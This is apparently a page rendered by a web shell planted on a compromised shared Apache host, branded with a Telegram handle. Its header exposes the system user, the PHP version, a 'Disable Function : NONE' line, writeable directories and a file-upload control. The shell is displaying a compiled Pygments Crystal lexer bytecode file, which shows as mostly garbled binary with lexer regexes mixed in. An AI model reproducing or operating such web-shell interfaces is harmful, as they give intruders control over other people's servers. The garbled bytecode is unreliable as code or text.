https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/pygments/lexers/__pycache__/crystal.cpython-310.pyc
o

���a�=�@s�dZddlZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZmZdgZe�d�Zgd�ZGdd�de�ZdS)	z�
    pygments.lexers.crystal
    ~~~~~~~~~~~~~~~~~~~~~~~

    Lexer for Crystal.

    :copyright: Copyright 2006-2021 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�ExtendedRegexLexer�include�bygroups�default�words)
�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Error�
Whitespace�CrystalLexerz.*?
)z!=z!~�!�%z&&�&z**�*�+�-�/z<=>z<<z<=�<z===z==z=~�=z>=z>>�>z[]=z[]?z[]�^z||�|�~c@s"eZdZdZdZddgZdgZdgZej	ej
BZdd�Zd	d
�Z
gdejf�ed��d
d�ef�ed��dd
d�ejf�dejf�egd�d
d�ejf�deeeej�f�deeeej�df�dedf�deeeej�df�ed��dd
d�ejf�dejjf�ed��dd
d�ejf�dejjf�def�def�d ejd!f�d"eeej�d#f�d$ejd#f�d%eeej�d#f�d&eejee�f�d'eej ee�f�d(eej!ee�f�d)eej"ee�f�d*eej"ee�f�d+eej"ee�f�d,eej#ee�f�d-ej$j%f�d.ej$j&f�d/ej$j'f�d0ej$j'f�d1ej$j'f�d2ef�e(d3��d4ej)f�d5ejf�d6ej*d7f�d8ej*d9f�d:eeeej+�d;f�ee,d<d=�eeej�f�d>eee�f�d?ef�d@ef�dAef�dBe-f�dCef�dDeej%eej.�dEfe/dE�gdFej%fdGee-eej%ee-�fe/dE�gdHej*dIfdJej*dEfe(dK�gdLej*dMfgdNej0fge(dO�e(dP�ge(dO�dQejfdRejfge(dO�dQej1fdRej1fge(dO�dSejfdTejfdQejfdUejfdVejdEfgdWejdEfgd6ej*dIfdXej*dEfdYefe(dK�gd8ej*dIfdZej*dEfe(dK�gd[edIfd\edEfe(dK�gd]�Z2e2�3e
��d^S)_rzZ
    For `Crystal <http://crystal-lang.org>`_ source code.

    .. versionadded:: 2.2
    �Crystal�cr�crystalz*.crztext/x-crystalccs��|�d�}|t|�d�fV|�d�tj|�d�fV|�d�tj|�d�fV|�d�tj|�d�fV|j�dg�}t|�}|�	|�d�dk|�d�f�|�d�|_
|�d�|_t|�dkrm|j
|d	�EdHn|j
tj|�d�fV|��|_
|r�|D]Z\}}g}t�|j|j
�D]<}|r�|����}	n|����}	|	|kr�|D]
}
|
��tj|
��fVq�|��tj|��fV|��|_
n|�	|�q�|D]}
|
��t|
��fVq�q�t|j�|_|dd�=dSdS)
N�����heredocstackz<<-��d)�context)�startr	�groupr�Heredoc�	Delimiter�__dict__�
setdefault�bool�append�pos�end�len�get_tokens_unprocessed�line_re�finditer�text�strip�rstripr)�self�match�ctxr*r&�	outermost�tolerant�hdname�lines�check�amatch�rD�9/usr/lib/python3/dist-packages/pygments/lexers/crystal.py�heredoc_callback+sF�



��zCrystalLexer.heredoc_callbackc
Cs`i}dtjfttdd�tjfdtjfdtjfdtjdfdttjt�fd	tjd
fdtjdfg|d
<dtjd	fdtjd	fdtjdffD] \}}}t	|dkrMdnd�d||fd|f||dfg|d|<qAdD]�\}}}}d|tj
fg||k|tj
dfg|tj
dft	d�d|dtj
fd|dtj
fg||d<|d
�d |tj
|df�d!|dtj
fg||k|tj
dfg|tj
dfd|dtj
fd|dtj
fg||d"<|d
�d#|tj
|d"f�d!|dtjfg||k|tjdfg|d$tjdft	d%�d|dtjfd|dtjfg||d&<|d
�d'|tj|d&f�qd|S)(Nz
\:\w+[!?]?z\:��prefixz:'(\\\\|\\[^\\]|[^'\\])*'z'(\\\\|\\'|[^']|\\[^'\\]+)'z:"z
simple-symz([a-zA-Z_]\w*)(:)(?!:)�"z
simple-stringz(?<!\.)`zsimple-backtick�strings�string�sym�backtick�`�string-escaped�string-intp-escapedz	[^\\%s#]+�[\\#]�#popzsimple-))�\{�\}z{}�cb)�\[�\]z\[\]�sb)z\(z\)z()�pa)rrz<>�ab)�\|r[r[�piz\\�#pushz[\\#�]z[^\\#z]+z-intp-stringz%Q?z\\[\\z-stringz%[qwi]z[imsx]*�string-intpz-regexz%r)
r�Symbolr�CRYSTAL_OPERATORS�Charrr�Double�Backtickr�Otherr1�Regex)�states�name�ttyper3�lbrace�rbrace�braceccrDrDrE�gen_crystalstrings_rulesZs�


�


�
�	��
��
��
��
��
��
��
����
�z%CrystalLexer.gen_crystalstrings_rulesz#.*?$z�
                abstract asm begin break case do else elsif end ensure extend if in
                include next of private protected require rescue return select self super
                then unless until when while with yield
            z\b)�suffixzz
                previous_def forall out uninitialized __DIR__ __FILE__ __LINE__
                __END_LINE__
            z(?<!\.))rHrnz(\.(is_a\?|nil\?|responds_to\?|as\?|as\b))�true�false�nilz2(module|lib)(\s+)([a-zA-Z_]\w*(?:::[a-zA-Z_]\w*)*)z)(def|fun|macro)(\s+)((?:[a-zA-Z_]\w*::)*)�funcnamezdef(?=[*%&^`~+-/\[<>=])zI(annotation|class|struct|union|type|alias|enum)(\s+)((?:[a-zA-Z_]\w*::)*)�	classnamezN
                instance_sizeof offsetof pointerof sizeof typeof
            z+(?<!\.)(debugger\b|p!|pp!|record\b|spawn\b)z�
                abort at_exit caller exit gets loop main p pp print printf puts
                raise rand read_line sleep spawn sprintf system
            z(?<!\.)(((class_)?((getter|property)\b[!?]?|setter\b))|(def_(clone|equals|equals_and_hash|hash)|delegate|forward_missing_to)\b)z/(?<!\w)(<<-?)(["`\']?)([a-zA-Z_]\w*)(\2)(.*?\n)z(<<-?)("|\')()(\2)(.*?\n)�__END__�end-partab(?:^|(?<=[=<>~!:])|(?<=(?:\s|;)when\s)|(?<=(?:\s|;)or\s)|(?<=(?:\s|;)and\s)|(?<=\.index\s)|(?<=\.scan\s)|(?<=\.sub\s)|(?<=\.sub!\s)|(?<=\.gsub\s)|(?<=\.gsub!\s)|(?<=\.match\s)|(?<=(?:\s|;)if\s)|(?<=(?:\s|;)elsif\s)|(?<=^when\s)|(?<=^index\s)|(?<=^scan\s)|(?<=^sub\s)|(?<=^gsub\s)|(?<=^sub!\s)|(?<=^gsub!\s)|(?<=^match\s)|(?<=^if\s)|(?<=^elsif\s))(\s*)(/)�multiline-regexz
(?<=\(|,|\[)/z(\s+)(/)(?![\s=])z5(0o[0-7]+(?:_[0-7]+)*(?:_?[iu][0-9]+)?)\b(\s*)([/?])?zA(0x[0-9A-Fa-f]+(?:_[0-9A-Fa-f]+)*(?:_?[iu][0-9]+)?)\b(\s*)([/?])?z3(0b[01]+(?:_[01]+)*(?:_?[iu][0-9]+)?)\b(\s*)([/?])?zU((?:0(?![0-9])|[1-9][\d_]*)(?:\.\d[\d_]*)(?:e[+-]?[0-9]+)?(?:_?f[0-9]+)?)(\s*)([/?])?zU((?:0(?![0-9])|[1-9][\d_]*)(?:\.\d[\d_]*)?(?:e[+-]?[0-9]+)(?:_?f[0-9]+)?)(\s*)([/?])?zU((?:0(?![0-9])|[1-9][\d_]*)(?:\.\d[\d_]*)?(?:e[+-]?[0-9]+)?(?:_?f[0-9]+))(\s*)([/?])?z8(0\b|[1-9][\d]*(?:_\d+)*(?:_?[iu][0-9]+)?)\b(\s*)([/?])?z@@[a-zA-Z_]\w*z
@[a-zA-Z_]\w*z\$\w+z\$[!@&`\'+~=/\\,;.<>_*$?:"^-]z\$-[0adFiIlpvw]z::rJzi\?(\\[MC]-)*(\\([\\abefnrtv#"\']|[0-7]{1,3}|x[a-fA-F0-9]{2}|u[a-fA-F0-9]{4}|u\{[a-fA-F0-9 ]+\})|\S)(?!\w)z[A-Z][A-Z_]+\b(?!::|\.)z\{%�in-macro-controlz\{\{�
in-macro-exprz!(@\[)(\s*)([A-Z]\w*(::[A-Z]\w*)*)�in-annotz(\.|::)rGz,(\.|::)([a-zA-Z_]\w*[!?]?|[*%&^`~+\-/\[<>=])z[a-zA-Z_]\w*(?:[!?](?!=))?z:(\[|\]\??|\*\*|<=>?|>=|<<?|>>?|=~|===|!~|&&?|\|\||\.{1,3})z[-+/*%=<>&!^|~]=?z
[(){};,/?:\\]z\s+z\(?:([a-zA-Z_]\w*)(\.))?([a-zA-Z_]\w*[!?]?|\*\*?|[-+]@?|[/%&|^`~]|\[\]=?|<<|>>|<=?>|>=?|===?)rRz	[A-Z_]\w*z(\()(\s*)([A-Z_]\w*)(\s*)(\))rSr]rT�rootz#\{�in-intpzR\\([\\abefnrtv#"\']|[0-7]{1,3}|x[a-fA-F0-9]{2}|u[a-fA-F0-9]{4}|u\{[a-fA-F0-9 ]+\})r_rOrQz[^\\#]+z\\\\z\\/z[^\\/#]+z/[imsx]*z.+z%\}z(for|verbatim)\bz\}\}rVrW)rzrrrsr{r_rOrPzinterpolated-regexzinterpolated-stringrvrurwrxryN)4�__name__�
__module__�__qualname__�__doc__rh�aliases�	filenames�	mimetypes�re�DOTALL�	MULTILINE�flagsrFrmr�Singler�splitr
�Pseudo�Constantrrr�	Namespace�Builtin�Preprocrrfr
�Octr	�Hex�Bin�Float�Integer�Variable�Class�Instance�Globalrrb�Interpol�	Decoratorrar�Functionr�Escapere�tokens�updaterDrDrDrErs�/I�������
������������
����#��'��*�
+�-��
F�H��R��T��V��Z��]��`��c��
f�
g�
h�
i�
j�k�l�n��r�
t�
u�w��
{
��}�������������	����

�
������
�
	�

�

����M)rr��pygments.lexerrrrrr�pygments.tokenrrr	r
rrr
rrr�__all__�compiler6rarrDrDrDrE�<module>s
0


https://t.me/RX1948 - 2025